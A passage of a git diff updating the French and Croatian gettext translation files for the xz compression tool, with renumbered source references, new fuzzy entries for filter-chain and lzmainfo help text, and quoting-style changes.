@@ -681,7 +725,7 @@ msgstr "" "\n" " Modificateurs :\n" -#: src/xz/message.c:984 +#: src/xz/message.c:965 msgid "" " -k, --keep keep (don't delete) input files\n" " -f, --force force overwrite of output file and (de)compress links\n" @@ -693,7 +737,7 @@ msgstr "" " -c, --stdout écrire sur la sortie standard et ne pas supprimer les\n" " fichiers d'entrée" -#: src/xz/message.c:993 +#: src/xz/message.c:974 msgid "" " --single-stream decompress only the first stream, and silently\n" " ignore possible remaining input data" @@ -701,10 +745,18 @@ msgstr "" " --single-stream décompresser uniquement le premier flux et ignorer\n" " silencieusement les données éventuellement restantes" -#: src/xz/message.c:996 +#: src/xz/message.c:977 +#, fuzzy +#| msgid "" +#| " --no-sparse do not create sparse files when decompressing\n" +#| " -S, --suffix=.SUF use the suffix `.SUF' on compressed files\n" +#| " --files[=FILE] read filenames to process from FILE; if FILE is\n" +#| " omitted, filenames are read from the standard input;\n" +#| " filenames must be terminated with the newline character\n" +#| " --files0[=FILE] like --files but use the null character as terminator" msgid "" " --no-sparse do not create sparse files when decompressing\n" -" -S, --suffix=.SUF use the suffix `.SUF' on compressed files\n" +" -S, --suffix=.SUF use the suffix '.SUF' on compressed files\n" " --files[=FILE] read filenames to process from FILE; if FILE is\n" " omitted, filenames are read from the standard input;\n" " filenames must be terminated with the newline character\n" @@ -717,7 +769,7 @@ msgstr "" " et doivent être suivis d'un caractère retour à la ligne\n" " --files0[=FILE] comme --files mais avec un caractère null comme séparateur" -#: src/xz/message.c:1005 +#: src/xz/message.c:986 msgid "" "\n" " Basic file format and compression options:\n" @@ -725,26 +777,26 @@ msgstr "" "\n" " Options basiques de format de fichier et de compression :\n" -#: src/xz/message.c:1007 +#: src/xz/message.c:988 #, fuzzy msgid "" " -F, --format=FMT file format to encode or decode; possible values are\n" -" `auto' (default), `xz', `lzma', `lzip', and `raw'\n" -" -C, --check=CHECK integrity check type: `none' (use with caution),\n" -" `crc32', `crc64' (default), or `sha256'" +" 'auto' (default), 'xz', 'lzma', 'lzip', and 'raw'\n" +" -C, --check=CHECK integrity check type: 'none' (use with caution),\n" +" 'crc32', 'crc64' (default), or 'sha256'" msgstr "" " -F, --format=FMT format du fichier à encoder ou décoder ; sont acceptés :\n" " `auto' (par défaut), `xz', `lzma' et `raw'\n" " -C, --check=CHECK type de vérification d'intégrité : `none' (à utiliser avec\n" " précaution), `crc32', `crc64' (par défaut) ou `sha256'" -#: src/xz/message.c:1012 +#: src/xz/message.c:993 msgid " --ignore-check don't verify the integrity check when decompressing" msgstr "" " --ignore-check ne pas vérifier l'intégrité des données lors de\n" " la décompression" -#: src/xz/message.c:1016 +#: src/xz/message.c:997 msgid "" " -0 ... -9 compression preset; default is 6; take compressor *and*\n" " decompressor memory usage into account before using 7-9!" @@ -753,7 +805,7 @@ msgstr "" " l'utilisation mémoire du compresseur *et* du décompresseur\n" " avant d'utiliser 7, 8 ou 9 !" -#: src/xz/message.c:1020 +#: src/xz/message.c:1001 msgid "" " -e, --extreme try to improve compression ratio by using more CPU time;\n" " does not affect decompressor memory requirements" @@ -762,16 +814,20 @@ msgstr "" " de temps processeur ;\n" " n'affecte pas les besoins mémoire du décompresseur" -#: src/xz/message.c:1024 +#: src/xz/message.c:1005 +#, fuzzy +#| msgid "" +#| " -T, --threads=NUM use at most NUM threads; the default is 1; set to 0\n" +#| " to use as many threads as there are processor cores" msgid "" -" -T, --threads=NUM use at most NUM threads; the default is 1; set to 0\n" -" to use as many threads as there are processor cores" +" -T, --threads=NUM use at most NUM threads; the default is 0 which uses\n" +" as many threads as there are processor cores" msgstr "" " -T, --threads=NB créer au plus NB fils de compression (1 par défault) ; la\n" " valeur 0 est spéciale et équivaut au nombre de processeurs\n" " de la machine" -#: src/xz/message.c:1029 +#: src/xz/message.c:1010 msgid "" " --block-size=SIZE\n" " start a new .xz block after every SIZE bytes of input;\n" @@ -781,17 +837,24 @@ msgstr "" " débuter un bloc XZ après chaque TAILLE octets de données\n" " d'entrée ; ce réglage sert pour la compression paralléle" -#: src/xz/message.c:1033 +#: src/xz/message.c:1014 +#, fuzzy +#| msgid "" +#| " --block-list=SIZES\n" +#| " start a new .xz block after the given comma-separated\n" +#| " intervals of uncompressed data" msgid "" -" --block-list=SIZES\n" +" --block-list=BLOCKS\n" " start a new .xz block after the given comma-separated\n" -" intervals of uncompressed data" +" intervals of uncompressed data; optionally, specify a\n" +" filter chain number (0-9) followed by a ':' before the\n" +" uncompressed data size" msgstr "" " --block-list=TAILLES\n" " débuter des blocs XZ après les TAILLES octets de données\n" " spécifiées avec des virgules pour séparateur" -#: src/xz/message.c:1037 +#: src/xz/message.c:1020 msgid "" " --flush-timeout=TIMEOUT\n" " when compressing, if more than TIMEOUT milliseconds has\n" @@ -803,7 +866,7 @@ msgstr "" " depuis le dernier flush et que la lecture est bloquée,\n" " toutes les données en attente sont écrites" -#: src/xz/message.c:1043 +#: src/xz/message.c:1026 #, fuzzy, no-c-format msgid "" " --memlimit-compress=LIMIT\n" @@ -821,7 +884,7 @@ msgstr "" " décompression ou les deux ; LIMIT est en octets,\n" " pourcentage de RAM, ou 0 pour la valeur par défaut" -#: src/xz/message.c:1052 +#: src/xz/message.c:1035 msgid "" " --no-adjust if compression settings exceed the memory usage limit,\n" " give an error instead of adjusting the settings downwards" @@ -830,7 +893,7 @@ msgstr "" " d'utilisation mémoire, renvoyer une erreur plutôt que de\n" " diminuer les réglages" -#: src/xz/message.c:1058 +#: src/xz/message.c:1041 msgid "" "\n" " Custom filter chain for compression (alternative for using presets):" @@ -838,6 +901,26 @@ msgstr "" "\n" " Chaîne de filtres de compression personnalisée (en lieu des préréglages) :" +#: src/xz/message.c:1044 +msgid "" +"\n" +" --filters=FILTERS set the filter chain using the liblzma filter string\n" +" syntax; use --filters-help for more information" +msgstr "" + +#: src/xz/message.c:1050 +msgid "" +" --filters1=FILTERS ... --filters9=FILTERS\n" +" set additional filter chains using the liblzma filter\n" +" string syntax to use with --block-list" +msgstr "" + +#: src/xz/message.c:1056 +msgid "" +" --filters-help display more information about the liblzma filter string\n" +" syntax and exit." +msgstr "" + #: src/xz/message.c:1067 msgid "" "\n" @@ -878,6 +961,7 @@ msgid "" " --powerpc[=OPTS] PowerPC BCJ filter (big endian only)\n" " --ia64[=OPTS] IA-64 (Itanium) BCJ filter\n" " --sparc[=OPTS] SPARC BCJ filter\n" +" --riscv[=OPTS] RISC-V BCJ filter\n" " Valid OPTS for all BCJ filters:\n" " start=NUM start offset for conversions (default=0)" msgstr "" @@ -891,7 +975,7 @@ msgstr "" " OPTS valides pour tous les filtres BCJ :\n" " start=NUM position de début de la conversion (défaut=0)" -#: src/xz/message.c:1095 +#: src/xz/message.c:1096 msgid "" "\n" " --delta[=OPTS] Delta filter; valid OPTS (valid values; default):\n" @@ -903,7 +987,7 @@ msgstr "" " dist=NUM distance entre les octets soustraits les\n" " uns aux autres (1-256 ; 1)" -#: src/xz/message.c:1103 +#: src/xz/message.c:1104 msgid "" "\n" " Other options:\n" @@ -911,7 +995,7 @@ msgstr "" "\n" " Autres options :\n" -#: src/xz/message.c:1106 +#: src/xz/message.c:1107 msgid "" " -q, --quiet suppress warnings; specify twice to suppress errors too\n" " -v, --verbose be verbose; specify twice for even more verbose" @@ -920,17 +1004,17 @@ msgstr "" " aussi masquer les erreurs\n" " -v, --verbose être bavard ; spécifier deux fois pour l'être davantage" -#: src/xz/message.c:1111 +#: src/xz/message.c:1112 msgid " -Q, --no-warn make warnings not affect the exit status" msgstr " -Q, --no-warn les avertissements ne modifient pas le code de sortie" -#: src/xz/message.c:1113 +#: src/xz/message.c:1114 msgid " --robot use machine-parsable messages (useful for scripts)" msgstr "" " --robot utiliser des messages lisibles par un programme\n" " (utile pour les scripts)" -#: src/xz/message.c:1116 +#: src/xz/message.c:1117 msgid "" " --info-memory display the total amount of RAM and the currently active\n" " memory usage limits, and exit" @@ -938,7 +1022,7 @@ msgstr "" " --info-memory afficher la quantité totale de RAM ainsi que la limite\n" " actuelle d'utilisation mémoire puis quitter" -#: src/xz/message.c:1119 +#: src/xz/message.c:1120 msgid "" " -h, --help display the short help (lists only the basic options)\n" " -H, --long-help display this long help and exit" @@ -946,7 +1030,7 @@ msgstr "" " -h, --help afficher l'aide courte (ne liste que les options de base)\n" " -H, --long-help afficher l'aide longue (ceci) puis quitter" -#: src/xz/message.c:1123 +#: src/xz/message.c:1124 msgid "" " -h, --help display this short help and exit\n" " -H, --long-help display the long help (lists also the advanced options)" @@ -954,11 +1038,12 @@ msgstr "" " -h, --help afficher l'aide courte (ceci) puis quitter\n" " -H, --long-help afficher l'aide longue (liste aussi les options avancées)" -#: src/xz/message.c:1128 +#: src/xz/message.c:1129 msgid " -V, --version display the version number and exit" msgstr " -V, --version afficher le numéro de version puis quitter" -#: src/xz/message.c:1130 +#: src/xz/message.c:1131 src/lzmainfo/lzmainfo.c:37 +#, c-format msgid "" "\n" "With no FILE, or when FILE is -, read standard input.\n" @@ -970,33 +1055,48 @@ msgstr "" #. for this package. Please add _another line_ saying #. "Report translation bugs to <...>\n" with the email or WWW #. address for translation bugs. Thanks. -#: src/xz/message.c:1136 +#: src/xz/message.c:1137 src/lzmainfo/lzmainfo.c:40 #, c-format msgid "Report bugs to <%s> (in English or Finnish).\n" msgstr "" "Signaler les bogues à <%s> (en anglais ou en finnois).\n" "Signaler les bogues de traduction à .\n" -#: src/xz/message.c:1138 +#: src/xz/message.c:1139 src/lzmainfo/lzmainfo.c:42 #, c-format msgid "%s home page: <%s>\n" msgstr "Page du projet %s : <%s>\n" -#: src/xz/message.c:1142 +#: src/xz/message.c:1143 msgid "THIS IS A DEVELOPMENT VERSION NOT INTENDED FOR PRODUCTION USE." msgstr "CECI EST UNE VERSION DE DEVELOPPEMENT QUI NE DOIT PAS ÊTRE UTILISEE EN PRODUCTION." -#: src/xz/options.c:86 -#, c-format -msgid "%s: Options must be `name=value' pairs separated with commas" +#: src/xz/message.c:1160 +msgid "" +"Filter chains are set using the --filters=FILTERS or\n" +"--filters1=FILTERS ... --filters9=FILTERS options. Each filter in the chain\n" +"can be separated by spaces or '--'. Alternatively a preset <0-9>[e] can be\n" +"specified instead of a filter chain.\n" +msgstr "" + +#: src/xz/message.c:1166 +#, fuzzy +#| msgid "Unsupported filter chain or filter options" +msgid "The supported filters and their options are:" +msgstr "Enchaînement ou options de filtres non pris en charge" + +#: src/xz/options.c:85 +#, fuzzy, c-format +#| msgid "%s: Options must be `name=value' pairs separated with commas" +msgid "%s: Options must be 'name=value' pairs separated with commas" msgstr "%s: Les options doivent être des paires `nom=valeur' séparées par des virgules" -#: src/xz/options.c:93 +#: src/xz/options.c:92 #, c-format msgid "%s: Invalid option name" msgstr "%s : Nom d'option invalide" -#: src/xz/options.c:113 +#: src/xz/options.c:112 #, c-format msgid "%s: Invalid option value" msgstr "%s : Valeur d'option invalide" @@ -1010,56 +1110,80 @@ msgstr "Préréglage LZMA1/LZMA2 non reconnu : %s" msgid "The sum of lc and lp must not exceed 4" msgstr "La somme de lc et lp ne doit pas dépasser 4" -#: src/xz/suffix.c:160 +#: src/xz/suffix.c:165 #, c-format msgid "%s: Filename has an unknown suffix, skipping" msgstr "%s : Le fichier a un suffixe inconnu, ignoré" -#: src/xz/suffix.c:181 -#, c-format -msgid "%s: File already has `%s' suffix, skipping" +#: src/xz/suffix.c:186 +#, fuzzy, c-format +#| msgid "%s: File already has `%s' suffix, skipping" +msgid "%s: File already has '%s' suffix, skipping" msgstr "%s : Le fichier a déjà le suffixe '%s', ignoré" -#: src/xz/suffix.c:388 +#: src/xz/suffix.c:393 #, c-format msgid "%s: Invalid filename suffix" msgstr "%s: Suffixe de nom de fichier invalide" -#: src/xz/util.c:71 +#: src/xz/util.c:106 #, c-format msgid "%s: Value is not a non-negative decimal integer" msgstr "%s : La valeur n'est pas un entier décimal non négatif" -#: src/xz/util.c:113 +#: src/xz/util.c:148 #, c-format msgid "%s: Invalid multiplier suffix" msgstr "%s : Suffixe multiplicateur invalide" -#: src/xz/util.c:115 -msgid "Valid suffixes are `KiB' (2^10), `MiB' (2^20), and `GiB' (2^30)." +#: src/xz/util.c:150 +#, fuzzy +#| msgid "Valid suffixes are `KiB' (2^10), `MiB' (2^20), and `GiB' (2^30)." +msgid "Valid suffixes are 'KiB' (2^10), 'MiB' (2^20), and 'GiB' (2^30)." msgstr "Les suffixes valides sont 'KiB' (2^10), 'MiB' (2^20) et 'GiB' (2^30)." -#: src/xz/util.c:132 -#, c-format -msgid "Value of the option `%s' must be in the range [%, %]" +#: src/xz/util.c:167 +#, fuzzy, c-format +#| msgid "Value of the option `%s' must be in the range [%, %]" +msgid "Value of the option '%s' must be in the range [%, %]" msgstr "La valeur de l'option '%s' doit être inclue entre % et %" -#: src/xz/util.c:269 +#: src/xz/util.c:290 msgid "Compressed data cannot be read from a terminal" msgstr "Les données compressées ne peuvent pas être lues depuis un terminal" -#: src/xz/util.c:282 +#: src/xz/util.c:303 msgid "Compressed data cannot be written to a terminal" msgstr "Les données compressées ne peuvent pas être écrites dans un terminal" -#: src/common/tuklib_exit.c:40 +#: src/lzmainfo/lzmainfo.c:33 +#, c-format +msgid "" +"Usage: %s [--help] [--version] [FILE]...\n" +"Show information stored in the .lzma file header" +msgstr "" + +#: src/lzmainfo/lzmainfo.c:109 +#, fuzzy +#| msgid "%s: Too small to be a valid .xz file" +msgid "File is too small to be a .lzma file" +msgstr "%s : Trop petit pour être un fichier xz valide." + +#: src/lzmainfo/lzmainfo.c:122 +msgid "Not a .lzma file" +msgstr "" + +#: src/common/tuklib_exit.c:39 msgid "Writing to standard output failed" msgstr "Impossible d'écrire vers la sortie standard" -#: src/common/tuklib_exit.c:43 +#: src/common/tuklib_exit.c:42 msgid "Unknown error" msgstr "Erreur inconnue" +#~ msgid "Failed to enable the sandbox" +#~ msgstr "Echec de l'activation de la sandboxe" + #~ msgid "The selected match finder requires at least nice=%" #~ msgstr "Le `match finder' choisi nécessite au moins nice=%" @@ -1105,4 +1229,4 @@ msgstr "Erreur inconnue" #~ msgstr "Impossible d'établir le drapeau O_NONBLOCK sur la sortie standard : %s" #~ msgid "Error setting O_NONBLOCK on standard output: %s" -#~ msgstr "Impossible d'activer le drapeau O_NONBLOCK sur la sortie standard : %s" \ No newline at end of file +#~ msgstr "Impossible d'activer le drapeau O_NONBLOCK sur la sortie standard : %s" diff --git a/po/hr.gmo b/po/hr.gmo new file mode 100644 index 00000000..eb4709c1 Binary files /dev/null and b/po/hr.gmo differ diff --git a/po/hr.po b/po/hr.po index 940fa939..3ca59470 100644 --- a/po/hr.po +++ b/po/hr.po @@ -11,7 +11,7 @@ msgid "" msgstr "" "Project-Id-Version: xz 5.6.0-pre2\n" "Report-Msgid-Bugs-To: xz@tukaani.org\n" -"POT-Creation-Date: 2024-02-15 01:57+0800\n" +"POT-Creation-Date: 2024-02-24 16:31+0800\n" "PO-Revision-Date: 2024-02-18 17:31-0800\n" "Last-Translator: Božidar Putanec \n" "Language-Team: Croatian \n" @@ -59,8 +59,8 @@ msgstr "Samo jedna datoteka može biti specificirana s --files ili --files0." #. string because French needs a space #. before the colon ("%s : %s"). #: src/xz/args.c:621 src/xz/coder.c:1058 src/xz/coder.c:1074 -#: src/xz/coder.c:1374 src/xz/coder.c:1377 src/xz/file_io.c:685 -#: src/xz/file_io.c:759 src/xz/file_io.c:849 src/xz/file_io.c:1020 +#: src/xz/coder.c:1374 src/xz/coder.c:1377 src/xz/file_io.c:518 +#: src/xz/file_io.c:592 src/xz/file_io.c:682 src/xz/file_io.c:854 #: src/xz/list.c:368 src/xz/list.c:414 src/xz/list.c:476 src/xz/list.c:590 #: src/xz/list.c:599 #, c-format @@ -184,16 +184,12 @@ msgstr "Prilagođena veličina LZMA%c rječnika za --filters%u od %s na %s da ne msgid "Error changing to filter chain %u: %s" msgstr "Greška pri promjeni na lanac filtra %u: %s" -#: src/xz/file_io.c:136 src/xz/file_io.c:144 +#: src/xz/file_io.c:122 src/xz/file_io.c:130 #, c-format msgid "Error creating a pipe: %s" msgstr "Greška pri stvaranju cijevi: %s" -#: src/xz/file_io.c:332 -msgid "Failed to enable the sandbox" -msgstr "Nije uspjelo omogućiti sandbox" - -#: src/xz/file_io.c:374 +#: src/xz/file_io.c:207 #, c-format msgid "%s: poll() failed: %s" msgstr "%s: poll() nije uspjela: %s" @@ -208,111 +204,111 @@ msgstr "%s: poll() nije uspjela: %s" #. it is possible that the user has put a new file in place #. of the original file, and in that case it obviously #. shouldn't be removed. -#: src/xz/file_io.c:441 +#: src/xz/file_io.c:274 #, c-format msgid "%s: File seems to have been moved, not removing" msgstr "%s: Izgleda da je datoteka pomaknuta -- ne brišemo ju" -#: src/xz/file_io.c:448 src/xz/file_io.c:1004 +#: src/xz/file_io.c:281 src/xz/file_io.c:838 #, c-format msgid "%s: Cannot remove: %s" msgstr "%s: Brisanje nije moguće: %s" -#: src/xz/file_io.c:474 +#: src/xz/file_io.c:307 #, c-format msgid "%s: Cannot set the file owner: %s" msgstr "%s: Nije moguće promijeniti vlasnika datoteke: %s" -#: src/xz/file_io.c:487 +#: src/xz/file_io.c:320 #, c-format msgid "%s: Cannot set the file group: %s" msgstr "%s: Nije moguće promijeniti grupu datoteke: %s" -#: src/xz/file_io.c:506 +#: src/xz/file_io.c:339 #, c-format msgid "%s: Cannot set the file permissions: %s" msgstr "%s: Nije moguće postaviti prava dostupa datoteci: %s" -#: src/xz/file_io.c:632 +#: src/xz/file_io.c:465 #, c-format msgid "Error getting the file status flags from standard input: %s" msgstr "Greška pri pokušaju dobivanja oznaka statusa datoteke iz standardnog ulaza: %s" -#: src/xz/file_io.c:690 src/xz/file_io.c:752 +#: src/xz/file_io.c:523 src/xz/file_io.c:585 #, c-format msgid "%s: Is a symbolic link, skipping" msgstr "%s: To je simbolička poveznica -- preskačemo ju" -#: src/xz/file_io.c:781 +#: src/xz/file_io.c:614 #, c-format msgid "%s: Is a directory, skipping" msgstr "%s: To je direktorij -- preskačemo ga" -#: src/xz/file_io.c:787 +#: src/xz/file_io.c:620 #, c-format msgid "%s: Not a regular file, skipping" msgstr "%s: To nije regularna datoteka -- preskačemo je" -#: src/xz/file_io.c:804 +#: src/xz/file_io.c:637 #, c-format msgid "%s: File has setuid or setgid bit set, skipping" msgstr "%s: Datoteka s postavljenim setuid ili setgid bitom -- preskačemo ju" -#: src/xz/file_io.c:811 +#: src/xz/file_io.c:644 #, c-format msgid "%s: File has sticky bit set, skipping" msgstr "%s: Datoteka s postavljenim ljepljivim bitom -- preskačemo ju" -#: src/xz/file_io.c:818 +#: src/xz/file_io.c:651 #, c-format msgid "%s: Input file has more than one hard link, skipping" msgstr "%s: Ulazna datoteka ima više od jedne tvrde poveznice -- preskačemo ju" -#: src/xz/file_io.c:860 +#: src/xz/file_io.c:693 msgid "Empty filename, skipping" msgstr "Prazna datoteka -- preskačemo ju" -#: src/xz/file_io.c:914 +#: src/xz/file_io.c:748 #, c-format msgid "Error restoring the status flags to standard input: %s" msgstr "Greška pri vraćanju oznaka statusa na standardni ulaz: %s" -#: src/xz/file_io.c:962 +#: src/xz/file_io.c:796 #, c-format msgid "Error getting the file status flags from standard output: %s" msgstr "Greška pri dobivanju oznaka statusa datoteke iz standardnog izlazu: %s" -#: src/xz/file_io.c:1161 +#: src/xz/file_io.c:995 #, c-format msgid "Error restoring the O_APPEND flag to standard output: %s" msgstr "Greška pri vraćanju O_APPEND oznaka na standardni izlaz: %s" -#: src/xz/file_io.c:1173 +#: src/xz/file_io.c:1007 #, c-format msgid "%s: Closing the file failed: %s" msgstr "%s: Nije uspjelo zatvoriti datoteku: %s" -#: src/xz/file_io.c:1209 src/xz/file_io.c:1471 +#: src/xz/file_io.c:1043 src/xz/file_io.c:1305 #, c-format msgid "%s: Seeking failed when trying to create a sparse file: %s" msgstr "%s: Poziciona greška pri pokušaju stvaranja raštrkane datoteke: %s" -#: src/xz/file_io.c:1309 +#: src/xz/file_io.c:1143 #, c-format msgid "%s: Read error: %s" msgstr "%s: Greška pri čitanju: %s" -#: src/xz/file_io.c:1339 +#: src/xz/file_io.c:1173 #, c-format msgid "%s: Error seeking the file: %s" msgstr "%s: Greška pozicioniranja u datoteci: %s" -#: src/xz/file_io.c:1363 +#: src/xz/file_io.c:1197 #, c-format msgid "%s: Unexpected end of file" msgstr "%s: Neočekivani kraj datoteke" -#: src/xz/file_io.c:1422 +#: src/xz/file_io.c:1256 #, c-format msgid "%s: Write error: %s" msgstr "%s: Greška pri pisanju: %s" @@ -574,26 +570,26 @@ msgstr "Pokušajte s „lzmainfo“ s .lzma datotekama." msgid "--list does not support reading from standard input" msgstr "--list ne podržava čitanje iz standardnog izlaza" -#: src/xz/main.c:95 +#: src/xz/main.c:89 #, c-format msgid "%s: Error reading filenames: %s" msgstr "%s: Greška pri čitanju datoteka: %s" -#: src/xz/main.c:102 +#: src/xz/main.c:96 #, c-format msgid "%s: Unexpected end of input when reading filenames" msgstr "%s: Neočekivani kraj ulaznih podataka tijekom čitanja imena datoteka" -#: src/xz/main.c:126 +#: src/xz/main.c:120 #, c-format msgid "%s: Null character found when reading filenames; maybe you meant to use '--files0' instead of '--files'?" msgstr "%s: Prazni (null) znak pronađen pri čitanju imena datoteka; možda ste mislili koristiti --files0 umjesto --files?" -#: src/xz/main.c:206 +#: src/xz/main.c:191 msgid "Compression and decompression with --robot are not supported yet." msgstr "Komprimiranje i dekomprimiranje s --robot još nije podržano." -#: src/xz/main.c:284 +#: src/xz/main.c:289 msgid "Cannot read data from standard input when reading filenames from standard input" msgstr "Nije moguće čitati podatke iz standardnog ulaza dok se čitaju imena datoteka iz standardnog ulaza" @@ -601,68 +597,68 @@ msgstr "Nije moguće čitati podatke iz standardnog ulaza dok se čitaju imena d #. of the line in messages. Usually it becomes "xz: ". #. This is a translatable string because French needs #. a space before a colon. -#: src/xz/message.c:670 src/xz/message.c:725 +#: src/xz/message.c:651 src/xz/message.c:706 #, c-format msgid "%s: " msgstr "%s: " -#: src/xz/message.c:797 src/xz/message.c:856 src/lzmainfo/lzmainfo.c:131 +#: src/xz/message.c:778 src/xz/message.c:837 src/lzmainfo/lzmainfo.c:131 msgid "Internal error (bug)" msgstr "Interna greška (bug)" -#: src/xz/message.c:804 +#: src/xz/message.c:785 msgid "Cannot establish signal handlers" msgstr "Nije moguće uspostaviti rukovatelje signala" -#: src/xz/message.c:813 +#: src/xz/message.c:794 msgid "No integrity check; not verifying file integrity" msgstr "Nema provjere integriteta -- ne provjeravamo integritet datoteke" -#: src/xz/message.c:816 +#: src/xz/message.c:797 msgid "Unsupported type of integrity check; not verifying file integrity" msgstr "Nepodržani tip provjere integriteta -- ne provjeravamo integritet datoteke" -#: src/xz/message.c:823 +#: src/xz/message.c:804 msgid "Memory usage limit reached" msgstr "Dosegnuto je ograničenje za upotrebu memorije" -#: src/xz/message.c:826 +#: src/xz/message.c:807 msgid "File format not recognized" msgstr "Format datoteke nije prepoznat" -#: src/xz/message.c:829 +#: src/xz/message.c:810 msgid "Unsupported options" msgstr "Nepodržane opcije" -#: src/xz/message.c:832 +#: src/xz/message.c:813 msgid "Compressed data is corrupt" msgstr "Komprimirani podaci su oštećeni" -#: src/xz/message.c:835 +#: src/xz/message.c:816 msgid "Unexpected end of input" msgstr "Neočekivani kraj ulaznih podataka" -#: src/xz/message.c:877 +#: src/xz/message.c:858 #, c-format msgid "%s MiB of memory is required. The limiter is disabled." msgstr "%s Potrebno je MiB memorije. Ograničavač je onemogućen." -#: src/xz/message.c:905 +#: src/xz/message.c:886 #, c-format msgid "%s MiB of memory is required. The limit is %s." msgstr "%s Potrebno je MiB memorije. Ograničenje je %s." -#: src/xz/message.c:924 +#: src/xz/message.c:905 #, c-format msgid "%s: Filter chain: %s\n" msgstr "%s: Lanac filtara: %s\n" -#: src/xz/message.c:935 +#: src/xz/message.c:916 #, c-format msgid "Try '%s --help' for more information." msgstr "Pokušajte s „%s --help“ za pomoć i više informacija." -#: src/xz/message.c:961 +#: src/xz/message.c:942 #, c-format msgid "" "Usage: %s [OPTION]... [FILE]...\n" @@ -673,15 +669,15 @@ msgstr "" "Komprimira ili dekomprimira DATOTEKE u .xz formatu.\n" "\n" -#: src/xz/message.c:968 +#: src/xz/message.c:949 msgid "Mandatory arguments to long options are mandatory for short options too.\n" msgstr "Obvezni argumenti za duge opcije, obvezni su i za kratke opcije.\n" -#: src/xz/message.c:972 +#: src/xz/message.c:953 msgid " Operation mode:\n" msgstr " Način rada:\n" -#: src/xz/message.c:975 +#: src/xz/message.c:956 msgid "" " -z, --compress force compression\n" " -d, --decompress force decompression\n" @@ -693,7 +689,7 @@ msgstr "" " -t, --test testira integritet komprimirane datoteke\n" " -l, --list ispiše podatke o .xz datotekama" -#: src/xz/message.c:981 +#: src/xz/message.c:962 msgid "" "\n" " Operation modifiers:\n" @@ -701,7 +697,7 @@ msgstr "" "\n" " Modifikatori načina rada:\n" -#: src/xz/message.c:984 +#: src/xz/message.c:965 msgid "" " -k, --keep keep (don't delete) input files\n" " -f, --force force overwrite of output file and (de)compress links\n" @@ -713,7 +709,7 @@ msgstr "" " -c, --stdout piše na standardni izlaz i ne briše\n" " ulazne datoteke" -#: src/xz/message.c:993 +#: src/xz/message.c:974 msgid "" " --single-stream decompress only the first stream, and silently\n" " ignore possible remaining input data" @@ -721,7 +717,7 @@ msgstr "" " --single-stream dekomprimira samo prvi tok i tiho\n" " zanemari moguće preostale ulazne podatke" -#: src/xz/message.c:996 +#: src/xz/message.c:977 msgid "" " --no-sparse do not create sparse files when decompressing\n" " -S, --suffix=.SUF use the suffix '.SUF' on compressed files\n" @@ -738,7 +734,7 @@ msgstr "" " sa znakom novog retka\n" " --files0[=DATOTEKA] kao --files, ali koristi NULL znak kao terminator" -#: src/xz/message.c:1005 +#: src/xz/message.c:986 msgid "" "\n" " Basic file format and compression options:\n" @@ -746,7 +742,7 @@ msgstr "" "\n" " Osnovne opcije za format datoteka i kompresiju:\n" -#: src/xz/message.c:1007 +#: src/xz/message.c:988 msgid "" " -F, --format=FMT file format to encode or decode; possible values are\n" " 'auto' (default), 'xz', 'lzma', 'lzip', and 'raw'\n" @@ -758,11 +754,11 @@ msgstr "" " -C, --check=KONTROLA tip provjere integriteta: „none” (koristite s oprezom),\n" " „crc32”, „crc64” (zadano), ili „sha256”" -#: src/xz/message.c:1012 +#: src/xz/message.c:993 msgid " --ignore-check don't verify the integrity check when decompressing" msgstr " --ignore-check ne verificira provjeru integriteta pri dekompresiji" -#: src/xz/message.c:1016 +#: src/xz/message.c:997 msgid "" " -0 ... -9 compression preset; default is 6; take compressor *and*\n" " decompressor memory usage into account before using 7-9!" @@ -771,7 +767,7 @@ msgstr "" " uzmite i upotrebu memorije za (de)kompresor prije\n" " upotrebe 7-9!" -#: src/xz/message.c:1020 +#: src/xz/message.c:1001 msgid "" " -e, --extreme try to improve compression ratio by using more CPU time;\n" " does not affect decompressor memory requirements" @@ -779,7 +775,7 @@ msgstr "" " -e, --extreme pokuša poboljšati omjer kompresije koristeći više CPU\n" " vremena; ne utječe na potrebnu memoriju za dekompresiju" -#: src/xz/message.c:1024 +#: src/xz/message.c:1005 msgid "" " -T, --threads=NUM use at most NUM threads; the default is 0 which uses\n" " as many threads as there are processor cores" @@ -787,7 +783,7 @@ msgstr "" " -T, --threads=BROJ ne rabi više od BROJ dretvi; zadano je 0 kojom se koristi\n" " toliko dretvi koliko CPU ima jezgri" -#: src/xz/message.c:1029 +#: src/xz/message.c:1010 msgid "" " --block-size=SIZE\n" " start a new .xz block after every SIZE bytes of input;\n" @@ -797,7 +793,7 @@ msgstr "" " ulaznih podataka; ovo rabite za postavljanje\n" " veličine bloka za kompresiju s dretvama" -#: src/xz/message.c:1033 +#: src/xz/message.c:1014 msgid "" " --block-list=BLOCKS\n" " start a new .xz block after the given comma-separated\n" @@ -811,7 +807,7 @@ msgstr "" " lance filtra broj (0-9) iza kojeg slijedi „:“ (dvotočka)\n" " prije veličine nekompromiranih podataka" -#: src/xz/message.c:1039 +#: src/xz/message.c:1020 msgid "" " --flush-timeout=TIMEOUT\n" " when compressing, if more than TIMEOUT milliseconds has\n" @@ -823,7 +819,7 @@ msgstr "" " milisekundi od prethodnog pražnjenja, a daljne čitanje\n" " bi blokiralo ulaz, svi podatci na čekanju se isprazne" -#: src/xz/message.c:1045 +#: src/xz/message.c:1026 #, no-c-format msgid "" " --memlimit-compress=LIMIT\n" @@ -841,7 +837,7 @@ msgstr "" " dekompresiju, dretvama dekompresiju, ili sve ovo;\n" " GRANICA je u bajtima, % RAM, ili 0 za zadano" -#: src/xz/message.c:1054 +#: src/xz/message.c:1035 msgid "" " --no-adjust if compression settings exceed the memory usage limit,\n" " give an error instead of adjusting the settings downwards" @@ -850,7 +846,7 @@ msgstr "" " upotrebe memorije, završi s greškom umjesto da\n" " prilagodi postavke shodno ograničenju memorije" -#: src/xz/message.c:1060 +#: src/xz/message.c:1041 msgid "" "\n" " Custom filter chain for compression (alternative for using presets):" @@ -858,7 +854,7 @@ msgstr "" "\n" " Prilagođeni lanac filtra za kompresiju (alternativa korištenju presets):" -#: src/xz/message.c:1063 +#: src/xz/message.c:1044 msgid "" "\n" " --filters=FILTERS set the filter chain using the liblzma filter string\n" @@ -868,7 +864,7 @@ msgstr "" " --filters=FILTRI postavi lanac filtara pomoću sintakse za string liblzma\n" " filtra; koristite --filters-help za više informacija" -#: src/xz/message.c:1069 +#: src/xz/message.c:1050 msgid "" " --filters1=FILTERS ... --filters9=FILTERS\n" " set additional filter chains using the liblzma filter\n" @@ -878,13 +874,13 @@ msgstr "" " postavite dodatne lance filtera pomoću sintakse za\n" " string liblzma filtra za upotrebu s --block-list" -#: 